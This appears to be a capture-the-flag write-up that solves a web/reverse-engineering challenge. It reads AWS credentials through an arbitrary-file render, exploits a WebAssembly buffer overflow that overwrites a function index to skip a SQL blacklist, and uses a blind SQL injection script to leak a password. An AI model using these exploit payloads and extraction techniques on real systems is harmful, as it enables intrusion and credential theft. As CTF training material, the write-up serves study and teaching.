Level 8: Blind SQL Injection (Web/RE/Pwn/Cloud)
This is my favorite challenge 😃
We are given a server.js
file which starts an express application.
The /api/login
route passes our input to a AWS lambda function craft_query
which tests the input against a blacklist. If it passes the blacklist, the result of the lambda function is executed as SQL.
app.post('/api/login', (req, res) => {
// pk> Note: added URL decoding so people can use a wider range of characters for their username :)
// dr> Are you crazy? This is dangerous. I've added a blacklist to the lambda function to prevent any possible attacks.
const username = req.body.username;
const password = req.body.password;
// ...
const payload = JSON.stringify({
username,
password
});
try {
lambda.invoke({
FunctionName: 'craft_query',
Payload: payload
}, (err, data) => {
if (err) {
// ...
} else {
const responsePayload = JSON.parse(data.Payload);
const result = responsePayload;
if (result !== "Blacklisted!") {
const sql = result;
db.query(sql, (err, results) => {
// ...
});
}
}
});
} catch (error) {
// ...
}
});
Unfortunately, simple SQL injection payloads like a' or 1=1;--
return "Blacklisted!".
Therefore, our next step will be to obtain the source code for the lambda function.
Luckily, there is a route within this application that allows us to render arbitrary files as a .pug
template:
app.post('/api/submit-reminder', (req, res) => {
const username = req.body.username;
const reminder = req.body.reminder;
const viewType = req.body.viewType;
res.send(pug.renderFile(viewType, { username, reminder }));
});
Reading /root/.aws/credentials
reveals the AWS access key ID and secret:
Now we can use the aws cli to download the source code for the lambda:
➜ aws lambda get-function --function-name craft_query | grep Location
"Location": "https://awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com/snapshots/051751498533/craft_query-a989953b-8c24-41f0-ac22-813b4ca32bbc?....."
➜ curl -o code.zip -L https://awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com/snapshots/051751498533/craft_query-a989953b-8c24-41f0-ac22-813b4ca32bbc?.....
Unzipping the source code reveals a WebAssembly .wasm file, as well as a short JavaScript wrapper for the wasm module:
async function initializeModule() {
return new Promise((resolve, reject) => {
EmscriptenModule.onRuntimeInitialized = () => {
const CraftQuery = EmscriptenModule.cwrap('craft_query', 'string', ['string', 'string']);
resolve(CraftQuery);
};
});
}
let CraftQuery;
initializeModule().then((queryFunction) => {
CraftQuery = queryFunction;
});
async function login(username, password){
if (!CraftQuery) {
CraftQuery = await initializeModule();
}
const result = CraftQuery(username, password);
return result;
}
It seems like the function of interest is the craft_query
function.
Since this is a pwn challenge, I decided to test the behavior of the code on large inputs before decompiling the WASM with Ghidra.
;(async ()=>{
initializeModule();
console.log(await login("a".repeat(100), "b".repeat(100)))
})()
As expected, the program crashed, indicating some kind of buffer overflow:
RuntimeError: memory access out of bounds
at wasm://wasm/456522fa:wasm-function[14]:0x1131
at wasm://wasm/456522fa:wasm-function[15]:0x1170
at wasm://wasm/456522fa:wasm-function[9]:0xde2
Interestingly, only the username field seems to overflow the buffer.
Here's the decompiled craft_query
function in Ghidra:
undefined4 export::craft_query(undefined4 username,undefined4 password)
{
undefined4 uVar1;
undefined password_stack [59];
undefined uStack85;
undefined uname_stack [68];
uint func_ptr;
undefined4 uStack8;
undefined4 uStack4;
func_ptr = 1;
uStack8 = password;
uStack4 = username;
username_processing(uname_stack,username);
unnamed_function_15(password_stack,uStack8,0x3b);
uStack85 = 0;
uVar1 = (**(code **)((ulonglong)func_ptr * 4))(uname_stack,password_stack);
return uVar1;
}
The 'function pointer' on the stack is immediately suspicious. In WebAssembly, functions are referenced by their index in a global function table, so if we we can change the value of func_ptr
, we can change the function that is called.
To investigate the memory layout in the craft_query
function, I ran node
in debug mode and attached a Chrome debugger:
node --inspect-brk=0.0.0.0:9229 index.js
Setting a breakpoint at the instruction where func_ptr
is called, we can observe the stack:
uname_stack
is outlined in red, func_ptr
is outlined in green and password_stack
is outlined in blue. If we can overflow uname_stack
, then we can modify func_ptr
located right after it.
After doing more reversing, it turned out that username_processing
did not do any bounds checking on uname_stack
and copied username
to uname_stack
after URL-decoding it.
After yet more debugging and reversing, it seems that func_ptr
points to the query_with_blacklist
function (originally named is_blacklisted
), which checks the username and password against a blacklist. If it passes the checks, the load_query
function is called to generate the SQL query.
char * export::query_with_blacklist(undefined4 username,undefined4 password)
{
uint uVar1;
char *pcStack4;
uVar1 = check_blacklist(username);
if (((uVar1 & 1) == 0) || (uVar1 = check_blacklist(password), (uVar1 & 1) == 0)) {
pcStack4 = s_Blacklisted!_ram_00010070;
}
else {
pcStack4 = (char *)load_query(username,password);
}
return pcStack4;
}
Using the buffer overflow vulnerability, we can overwrite func_ptr
to point to load_query
instead of query_with_blacklist
, thus bypassing the blacklist checks. It turns out that load_query
has function index 2.
Since the uname_stack
buffer is 68 bytes long, the 69th character will overwrite func_ptr
:
;(async ()=>{
initializeModule();
console.log(await login("a".repeat(68)+"%02", "b\" or 1=1;--"))
})()
This allows the SQL injection payload in the password
field to bypass checks:
➜ node index.js
SELECT * from Users WHERE username="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" AND password="b" or 1=1;--"
Now, all that's left is to write a fartlib script to leak the admin's password using the blind SQL injection vulnerability:
from fartlib import *
req = FartRequest("""
POST /api/login HTTP/1.1
Host: chals.tisc23.ctf.sg:28471
//...
username=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaasaaaaaaaaaaaaaaaaaaaaaaaaaa%02&password=%22or(username%3d'admin'and%20ascii(substr(password%2cINDEX%2c1))%3dCHAR)%23
""")
charset = [x for x in "01357etoanihsrdluc24689g_wyfmbkvjxqzpETOANIHSRDLUCGWYFMBKVJXQZP{}"]
known = 'tisc{'
for i in range(30):
res = HttpWorker(reqs=req.substitute(CHAR=[str(ord(x)) for x in charset],INDEX=str(len(known)+1)), show_progress=False).get_first(lambda res: res.content_length > 46)
known += chr(int(res.payloads[0]))
print(known)
The flag is tisc{a1PhAb3t_0N1Y}
.